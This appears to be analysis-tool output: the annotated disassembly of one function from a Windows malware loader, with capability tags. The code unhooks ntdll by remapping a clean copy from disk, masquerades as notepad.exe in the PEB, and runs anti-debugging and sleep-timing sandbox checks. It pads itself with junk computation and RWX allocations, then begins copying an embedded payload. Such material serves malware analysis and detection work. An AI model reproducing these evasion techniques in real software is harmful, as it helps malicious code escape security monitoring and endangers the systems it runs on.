Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8c8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x830], xmm6
mov dword [rbp + 0x870], ecx
mov qword [rbp + 0x878], rdx
call fcn.140002ff0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c0], rax
mov ecx, 0xe30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x82c], 0
jmp 0x140001557
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x38b
jle 0x1400014d0
mov dword [rbp + 0x82c], 0
jmp 0x14000165b
cmp dword [rbp + 0x82c], 0
je 0x1400015c0
mov eax, dword [rbp + 0x82c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x1400015cc
add dword [rbp + 0x82c], 1
jmp 0x14000165b
mov eax, dword [rbp + 0x82c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x5fc], xmm0
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b8]
add rdx, rax
mov eax, dword [rbp + 0x82c]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x7b8]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
movss xmm0, dword [rbp + 0x5fc]
movss dword [rax], xmm0
sub dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x38b
jle 0x140001576
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x820], rax
cmp qword [rbp + 0x820], 0
jne 0x1400016fe
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x820], rax
cmp qword [rbp + 0x820], 0
je 0x140001d27
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
mov rax, qword [rbp + 0x7b0]
mov r10, qword [rbp + 0x820]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov dword [rbp + 0x7ac], 0
mov ecx, 0x221c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov ecx, 0x221c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov ecx, 0x221c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x81c], 0
jmp 0x140001876
mov dword [rbp + 0x818], 0
jmp 0x140001862
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7a0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x818]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x798]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x818]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x24
jle 0x140001797
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x3a
jle 0x140001788
mov dword [rbp + 0x81c], 0
jmp 0x140001968
mov dword [rbp + 0x818], 0
jmp 0x140001954
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7a0]
add rdx, rax
mov eax, dword [rbp + 0x818]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x798]
add rdx, rax
mov eax, dword [rbp + 0x818]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x790]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x818]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x24
jle 0x1400018a1
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x3a
jle 0x140001892
mov rax, qword [rbp + 0x7a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x788], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x788]
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x788]
add rax, rdx
mov qword [rbp + 0x760], rax
mov word [rbp + 0x816], 0
jmp 0x140001d0f
mov ecx, 0xd90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov ecx, 0xd90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov dword [rbp + 0x810], 0
jmp 0x140001b59
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x1b1
jle 0x140001acf
mov dword [rbp + 0x810], 0
jmp 0x140001bc7
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x750]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400040c0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x1b1
jle 0x140001b75
mov rax, qword [rbp + 0x760]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x760]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x816]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001cfe
mov dword [rbp + 0x5a4], 0
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a4]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x770]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5a4]
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a4]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x816]
add eax, 1
mov word [rbp + 0x816], ax
mov rax, qword [rbp + 0x760]
movzx eax, word [rax + 6]
cmp word [rbp + 0x816], ax
jb 0x140001a9e
mov ecx, 0x1360
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov ecx, 0x1360
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov ecx, 0x1360
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x80c], 0
jmp 0x140001e53
mov dword [rbp + 0x808], 0
jmp 0x140001e3f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x80c]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x740]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x808]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x80c]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x738]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x808]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x27
jle 0x140001d78
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x1e
jle 0x140001d69
mov dword [rbp + 0x80c], 0
jmp 0x140001f30
mov dword [rbp + 0x808], 0
jmp 0x140001f1c
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x740]
add rdx, rax
mov eax, dword [rbp + 0x808]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x738]
add rdx, rax
mov eax, dword [rbp + 0x808]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x730]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x808]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x27
jle 0x140001e7e
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x1e
jle 0x140001e6f
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0xea8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
mov dword [rbp + 0x800], 0
mov dword [rbp + 0x7fc], 0
mov dword [rbp + 0x804], 0
jmp 0x140001fe8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x804]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x728]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x3a9
jle 0x140001f9b
mov dword [rbp + 0x804], 0
mov dword [rbp + 0x804], 0
jmp 0x140002067
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x728]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002036
add dword [rbp + 0x800], 1
jmp 0x140002060
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x728]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002060
add dword [rbp + 0x7fc], 1
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x3a9
jle 0x14000200a
mov rax, qword [rbp + 0x728]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x1658
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x720], rax
mov dword [rbp + 0x7f8], 0
jmp 0x1400020ed
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065b8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x720]
add rax, rdx
movsd xmm1, qword [0x1400065c0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x2ca
jle 0x14000209f
mov dword [rbp + 0x7f8], 0
jmp 0x140002157
mov eax, dword [rbp + 0x7f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x720]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x720]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x2ca
jle 0x140002105
mov ecx, 0xe70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7f4], 0
jmp 0x1400021be
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x718]
add rax, rdx
movsd xmm1, qword [0x1400065b8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x1cd
jle 0x140002180
mov dword [rbp + 0x7f4], 0
jmp 0x14000225b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7f4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x718]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004270
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x1cd
jle 0x1400021d9
mov dword [rbp + 0x5ac], 0
mov rax, qword [rbp + 0x7c8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x5ac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x710]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5b8]
add rax, 0x3c
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x708]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x7f0], 0xffffffff
mov ecx, 0xe78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x700], rax
mov ecx, 0xe78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f8], rax
add dword [rbp + 0x7f0], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x700]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x700]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6f8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003fe0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7f0], 0x1cd
jle 0x14000232e
mov dword [rbp + 0x5a8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r8, qword [rbp + 0x6f0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5a8]
cmp eax, 1
je 0x140002f20
mov qword [rbp + 0x6e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x5050680
mov ecx, 0
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140002f20
mov rax, qword [rbp + 0x6e8]
mov edx, 0x5050680
mov rcx, rax
call fcn.140004470
mov rax, qword [rbp + 0x6e8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d4], eax
mov ecx, 0x329
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d0], eax
mov eax, dword [rbp + 0x6d0]
sub eax, dword [rbp + 0x6d4]
cmp eax, 0x2f7
jbe 0x140002f20
lea rax, str.ruachzsdjxxiu.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
jne 0x140002f20
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x140002f20
mov rax, qword [rbp + 0x6c0]
mov edx, 0x43c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6bc], eax
mov qword [rbp + 0x6b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2f2be80
mov ecx, 0
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
je 0x140002f20
mov rax, qword [rbp + 0x6b0]
mov edx, 0x2f2be80
mov rcx, rax
call fcn.140004470
mov rax, qword [rbp + 0x6b0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x5a0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5a0]
mov r8, qword [rbp + 0x6a0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5a0]
cmp eax, 1
je 0x140002f20
mov dword [rbp + 0x69c], 0x21c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
call rax
mov dword [rbp + 0x684], eax
mov eax, dword [rbp + 0x69c]
mov r8, qword [rbp + 0x690]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x688]
call rax
mov dword [rbp + 0x680], eax
mov eax, dword [rbp + 0x680]
sub eax, dword [rbp + 0x684]
cmp eax, 0x1ea
jbe 0x140002f20
mov qword [rbp + 0x678], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x265fa80
mov ecx, 0
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
je 0x140002f20
mov rax, qword [rbp + 0x678]
mov edx, 0x265fa80
mov rcx, rax
call fcn.140004470
mov rax, qword [rbp + 0x678]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x66c], 0x2a0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
call rax
mov dword [rbp + 0x65c], eax
mov eax, dword [rbp + 0x66c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x660]
call rax
mov dword [rbp + 0x658], eax
mov eax, dword [rbp + 0x658]
sub eax, dword [rbp + 0x65c]
cmp eax, 0x26e
jbe 0x140002f20
lea rax, [rbp + 0x120]
lea rdx, [0x140006138]
mov ecx, 0x8f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
